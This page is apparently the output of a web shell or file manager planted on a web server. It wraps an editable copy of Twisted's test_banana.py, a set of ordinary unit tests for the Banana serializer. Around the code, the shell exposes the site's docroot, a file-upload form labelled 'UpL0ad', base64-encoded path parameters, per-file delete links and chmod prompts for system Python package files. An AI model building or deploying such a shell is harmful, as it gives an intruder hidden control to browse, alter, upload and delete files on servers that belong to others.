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<hr>test_banana.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q%3D&f=dGVzdF9iYW5hbmEucHk%3D"><input name="f" value="test_banana.py"><textarea name="t"># Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.


import sys
from functools import partial
from io import BytesIO

from twisted.internet import main, protocol
from twisted.internet.testing import StringTransport
from twisted.python import failure
from twisted.python.compat import iterbytes
from twisted.spread import banana
from twisted.trial.unittest import TestCase

_maxint = 9223372036854775807


class MathTests(TestCase):
    def test_int2b128(self):
        funkylist = (
            list(range(0, 100))
            + list(range(1000, 1100))
            + list(range(1000000, 1000100))
            + [1024**10]
        )
        for i in funkylist:
            x = BytesIO()
            banana.int2b128(i, x.write)
            v = x.getvalue()
            y = banana.b1282int(v)
            self.assertEqual(y, i)


def selectDialect(protocol, dialect):
    &quot;&quot;&quot;
    Dictate a Banana dialect to use.

    @param protocol: A L{banana.Banana} instance which has not yet had a
        dialect negotiated.

    @param dialect: A L{bytes} instance naming a Banana dialect to select.
    &quot;&quot;&quot;
    # We can't do this the normal way by delivering bytes because other setup
    # stuff gets in the way (for example, clients and servers have incompatible
    # negotiations for this step).  So use the private API to make this happen.
    protocol._selectDialect(dialect)


def encode(bananaFactory, obj):
    &quot;&quot;&quot;
    Banana encode an object using L{banana.Banana.sendEncoded}.

    @param bananaFactory: A no-argument callable which will return a new,
        unconnected protocol instance to use to do the encoding (this should
        most likely be a L{banana.Banana} instance).

    @param obj: The object to encode.
    @type obj: Any type supported by Banana.

    @return: A L{bytes} instance giving the encoded form of C{obj}.
    &quot;&quot;&quot;
    transport = StringTransport()
    banana = bananaFactory()
    banana.makeConnection(transport)
    transport.clear()

    banana.sendEncoded(obj)
    return transport.value()


class BananaTestBase(TestCase):
    &quot;&quot;&quot;
    The base for test classes. It defines commonly used things and sets up a
    connection for testing.
    &quot;&quot;&quot;

    encClass = banana.Banana

    def setUp(self):
        self.io = BytesIO()
        self.enc = self.encClass()
        self.enc.makeConnection(protocol.FileWrapper(self.io))
        selectDialect(self.enc, b&quot;none&quot;)
        self.enc.expressionReceived = self.putResult
        self.encode = partial(encode, self.encClass)

    def putResult(self, result):
        &quot;&quot;&quot;
        Store an expression received by C{self.enc}.

        @param result: The object that was received.
        @type result: Any type supported by Banana.
        &quot;&quot;&quot;
        self.result = result

    def tearDown(self):
        self.enc.connectionLost(failure.Failure(main.CONNECTION_DONE))
        del self.enc


class BananaTests(BananaTestBase):
    &quot;&quot;&quot;
    General banana tests.
    &quot;&quot;&quot;

    def test_string(self):
        self.enc.sendEncoded(b&quot;hello&quot;)
        self.enc.dataReceived(self.io.getvalue())
        assert self.result == b&quot;hello&quot;

    def test_unsupportedUnicode(self):
        &quot;&quot;&quot;
        Banana does not support unicode.  ``Banana.sendEncoded`` raises
        ``BananaError`` if called with an instance of ``unicode``.
        &quot;&quot;&quot;
        self._unsupportedTypeTest(&quot;hello&quot;, &quot;builtins.str&quot;)

    def test_unsupportedBuiltinType(self):
        &quot;&quot;&quot;
        Banana does not support arbitrary builtin types like L{type}.
        L{banana.Banana.sendEncoded} raises L{banana.BananaError} if called
        with an instance of L{type}.
        &quot;&quot;&quot;
        # type is an instance of type
        self._unsupportedTypeTest(type, &quot;builtins.type&quot;)

    def test_unsupportedUserType(self):
        &quot;&quot;&quot;
        Banana does not support arbitrary user-defined types (such as those
        defined with the ``class`` statement).  ``Banana.sendEncoded`` raises
        ``BananaError`` if called with an instance of such a type.
        &quot;&quot;&quot;
        self._unsupportedTypeTest(MathTests(), __name__ + &quot;.MathTests&quot;)

    def _unsupportedTypeTest(self, obj, name):
        &quot;&quot;&quot;
        Assert that L{banana.Banana.sendEncoded} raises L{banana.BananaError}
        if called with the given object.

        @param obj: Some object that Banana does not support.
        @param name: The name of the type of the object.

        @raise: The failure exception is raised if L{Banana.sendEncoded} does
            not raise L{banana.BananaError} or if the message associated with the
            exception is not formatted to include the type of the unsupported
            object.
        &quot;&quot;&quot;
        exc = self.assertRaises(banana.BananaError, self.enc.sendEncoded, obj)
        self.assertIn(f&quot;Banana cannot send {name} objects&quot;, str(exc))

    def test_int(self):
        &quot;&quot;&quot;
        A positive integer less than 2 ** 32 should round-trip through
        banana without changing value and should come out represented
        as an C{int} (regardless of the type which was encoded).
        &quot;&quot;&quot;
        self.enc.sendEncoded(10151)
        self.enc.dataReceived(self.io.getvalue())
        self.assertEqual(self.result, 10151)
        self.assertIsInstance(self.result, int)

    def _getSmallest(self):
        # How many bytes of prefix our implementation allows
        bytes = self.enc.prefixLimit
        # How many useful bits we can extract from that based on Banana's
        # base-128 representation.
        bits = bytes * 7
        # The largest number we _should_ be able to encode
        largest = 2**bits - 1
        # The smallest number we _shouldn't_ be able to encode
        smallest = largest + 1
        return smallest

    def test_encodeTooLargeLong(self):
        &quot;&quot;&quot;
        Test that a long above the implementation-specific limit is rejected
        as too large to be encoded.
        &quot;&quot;&quot;
        smallest = self._getSmallest()
        self.assertRaises(banana.BananaError, self.enc.sendEncoded, smallest)

    def test_decodeTooLargeLong(self):
        &quot;&quot;&quot;
        Test that a long above the implementation specific limit is rejected
        as too large to be decoded.
        &quot;&quot;&quot;
        smallest = self._getSmallest()
        self.enc.setPrefixLimit(self.enc.prefixLimit * 2)
        self.enc.sendEncoded(smallest)
        encoded = self.io.getvalue()
        self.io.truncate(0)
        self.enc.setPrefixLimit(self.enc.prefixLimit // 2)

        self.assertRaises(banana.BananaError, self.enc.dataReceived, encoded)

    def _getLargest(self):
        return -self._getSmallest()

    def test_encodeTooSmallLong(self):
        &quot;&quot;&quot;
        Test that a negative long below the implementation-specific limit is
        rejected as too small to be encoded.
        &quot;&quot;&quot;
        largest = self._getLargest()
        self.assertRaises(banana.BananaError, self.enc.sendEncoded, largest)

    def test_decodeTooSmallLong(self):
        &quot;&quot;&quot;
        Test that a negative long below the implementation specific limit is
        rejected as too small to be decoded.
        &quot;&quot;&quot;
        largest = self._getLargest()
        self.enc.setPrefixLimit(self.enc.prefixLimit * 2)
        self.enc.sendEncoded(largest)
        encoded = self.io.getvalue()
        self.io.truncate(0)
        self.enc.setPrefixLimit(self.enc.prefixLimit // 2)

        self.assertRaises(banana.BananaError, self.enc.dataReceived, encoded)

    def test_integer(self):
        self.enc.sendEncoded(1015)
        self.enc.dataReceived(self.io.getvalue())
        self.assertEqual(self.result, 1015)

    def test_negative(self):
        self.enc.sendEncoded(-1015)
        self.enc.dataReceived(self.io.getvalue())
        self.assertEqual(self.result, -1015)

    def test_float(self):
        self.enc.sendEncoded(1015.0)
        self.enc.dataReceived(self.io.getvalue())
        self.assertEqual(self.result, 1015.0)

    def test_list(self):
        foo = [
            1,
            2,
            [3, 4],
            [30.5, 40.2],
            5,
            [b&quot;six&quot;, b&quot;seven&quot;, [b&quot;eight&quot;, 9]],
            [10],
            [],
        ]
        self.enc.sendEncoded(foo)
        self.enc.dataReceived(self.io.getvalue())
        self.assertEqual(self.result, foo)

    def test_partial(self):
        &quot;&quot;&quot;
        Test feeding the data byte per byte to the receiver. Normally
        data is not split.
        &quot;&quot;&quot;
        foo = [
            1,
            2,
            [3, 4],
            [30.5, 40.2],
            5,
            [b&quot;six&quot;, b&quot;seven&quot;, [b&quot;eight&quot;, 9]],
            [10],
            # TODO: currently the C implementation's a bit buggy...
            sys.maxsize * 3,
            sys.maxsize * 2,
            sys.maxsize * -2,
        ]
        self.enc.sendEncoded(foo)
        self.feed(self.io.getvalue())
        self.assertEqual(self.result, foo)

    def feed(self, data):
        &quot;&quot;&quot;
        Feed the data byte per byte to the receiver.

        @param data: The bytes to deliver.
        @type data: L{bytes}
        &quot;&quot;&quot;
        for byte in iterbytes(data):
            self.enc.dataReceived(byte)

    def test_oversizedList(self):
        data = b&quot;\x02\x01\x01\x01\x01\x80&quot;
        # list(size=0x0101010102, about 4.3e9)
        self.assertRaises(banana.BananaError, self.feed, data)

    def test_oversizedString(self):
        data = b&quot;\x02\x01\x01\x01\x01\x82&quot;
        # string(size=0x0101010102, about 4.3e9)
        self.assertRaises(banana.BananaError, self.feed, data)

    def test_crashString(self):
        crashString = b&quot;\x00\x00\x00\x00\x04\x80&quot;
        # string(size=0x0400000000, about 17.2e9)

        #  cBanana would fold that into a 32-bit 'int', then try to allocate
        #  a list with PyList_New(). cBanana ignored the NULL return value,
        #  so it would segfault when trying to free the imaginary list.

        # This variant doesn't segfault straight out in my environment.
        # Instead, it takes up large amounts of CPU and memory...
        # crashString = '\x00\x00\x00\x00\x01\x80'
        # print repr(crashString)
        # self.failUnlessRaises(Exception, self.enc.dataReceived, crashString)
        try:
            # should now raise MemoryError
            self.enc.dataReceived(crashString)
        except banana.BananaError:
            pass

    def test_crashNegativeLong(self):
        # There was a bug in cBanana which relied on negating a negative integer
        # always giving a positive result, but for the lowest possible number in
        # 2s-complement arithmetic, that's not true, i.e.
        #     long x = -2147483648;
        #     long y = -x;
        #     x == y;  /* true! */
        # (assuming 32-bit longs)
        self.enc.sendEncoded(-2147483648)
        self.enc.dataReceived(self.io.getvalue())
        self.assertEqual(self.result, -2147483648)

    def test_sizedIntegerTypes(self):
        &quot;&quot;&quot;
        Test that integers below the maximum C{INT} token size cutoff are
        serialized as C{INT} or C{NEG} and that larger integers are
        serialized as C{LONGINT} or C{LONGNEG}.
        &quot;&quot;&quot;
        baseIntIn = +2147483647
        baseNegIn = -2147483648

        baseIntOut = b&quot;\x7f\x7f\x7f\x07\x81&quot;
        self.assertEqual(self.encode(baseIntIn - 2), b&quot;\x7d&quot; + baseIntOut)
        self.assertEqual(self.encode(baseIntIn - 1), b&quot;\x7e&quot; + baseIntOut)
        self.assertEqual(self.encode(baseIntIn - 0), b&quot;\x7f&quot; + baseIntOut)

        baseLongIntOut = b&quot;\x00\x00\x00\x08\x85&quot;
        self.assertEqual(self.encode(baseIntIn + 1), b&quot;\x00&quot; + baseLongIntOut)
        self.assertEqual(self.encode(baseIntIn + 2), b&quot;\x01&quot; + baseLongIntOut)
        self.assertEqual(self.encode(baseIntIn + 3), b&quot;\x02&quot; + baseLongIntOut)

        baseNegOut = b&quot;\x7f\x7f\x7f\x07\x83&quot;
        self.assertEqual(self.encode(baseNegIn + 2), b&quot;\x7e&quot; + baseNegOut)
        self.assertEqual(self.encode(baseNegIn + 1), b&quot;\x7f&quot; + baseNegOut)
        self.assertEqual(self.encode(baseNegIn + 0), b&quot;\x00\x00\x00\x00\x08\x83&quot;)

        baseLongNegOut = b&quot;\x00\x00\x00\x08\x86&quot;
        self.assertEqual(self.encode(baseNegIn - 1), b&quot;\x01&quot; + baseLongNegOut)
        self.assertEqual(self.encode(baseNegIn - 2), b&quot;\x02&quot; + baseLongNegOut)
        self.assertEqual(self.encode(baseNegIn - 3), b&quot;\x03&quot; + baseLongNegOut)


class DialectTests(BananaTestBase):
    &quot;&quot;&quot;
    Tests for Banana's handling of dialects.
    &quot;&quot;&quot;

    vocab = b&quot;remote&quot;
    legalPbItem = bytes((banana.Banana.outgoingVocabulary[vocab],)) + banana.VOCAB
    illegalPbItem = bytes((122,)) + banana.VOCAB

    def test_dialectNotSet(self):
        &quot;&quot;&quot;
        If no dialect has been selected and a PB VOCAB item is received,
        L{NotImplementedError} is raised.
        &quot;&quot;&quot;
        self.assertRaises(NotImplementedError, self.enc.dataReceived, self.legalPbItem)

    def test_receivePb(self):
        &quot;&quot;&quot;
        If the PB dialect has been selected, a PB VOCAB item is accepted.
        &quot;&quot;&quot;
        selectDialect(self.enc, b&quot;pb&quot;)
        self.enc.dataReceived(self.legalPbItem)
        self.assertEqual(self.result, self.vocab)

    def test_receiveIllegalPb(self):
        &quot;&quot;&quot;
        If the PB dialect has been selected and an unrecognized PB VOCAB item
        is received, L{banana.Banana.dataReceived} raises L{KeyError}.
        &quot;&quot;&quot;
        selectDialect(self.enc, b&quot;pb&quot;)
        self.assertRaises(KeyError, self.enc.dataReceived, self.illegalPbItem)

    def test_sendPb(self):
        &quot;&quot;&quot;
        if pb dialect is selected, the sender must be able to send things in
        that dialect.
        &quot;&quot;&quot;
        selectDialect(self.enc, b&quot;pb&quot;)
        self.enc.sendEncoded(self.vocab)
        self.assertEqual(self.legalPbItem, self.io.getvalue())


class GlobalCoderTests(TestCase):
    &quot;&quot;&quot;
    Tests for the free functions L{banana.encode} and L{banana.decode}.
    &quot;&quot;&quot;

    def test_statelessDecode(self):
        &quot;&quot;&quot;
        Calls to L{banana.decode} are independent of each other.
        &quot;&quot;&quot;
        # Banana encoding of 2 ** 449
        undecodable = b&quot;\x7f&quot; * 65 + b&quot;\x85&quot;
        self.assertRaises(banana.BananaError, banana.decode, undecodable)

        # Banana encoding of 1.  This should be decodable even though the
        # previous call passed un-decodable data and triggered an exception.
        decodable = b&quot;\x01\x81&quot;
        self.assertEqual(banana.decode(decodable), 1)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/twisted/spread/test<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFk"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>110</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3QvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&x=dGVzdF9iYW5hbmEucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9iYW5hbmEucHk="/>test_banana.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9iYW5hbmEucHk=&c=`+btoa(c):0" value="0644"></td><td>14313</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&x=dGVzdF9qZWxseS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9qZWxseS5weQ=="/>test_jelly.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9qZWxseS5weQ==&c=`+btoa(c):0" value="0644"></td><td>19053</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&x=dGVzdF9wYi5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9wYi5weQ=="/>test_pb.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9wYi5weQ==&c=`+btoa(c):0" value="0644"></td><td>63286</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&x=dGVzdF9wYmZhaWx1cmUucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9wYmZhaWx1cmUucHk="/>test_pbfailure.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvc3ByZWFkL3Rlc3Q=&f=dGVzdF9wYmZhaWx1cmUucHk=&c=`+btoa(c):0" value="0644"></td><td>14723</td></tr></table>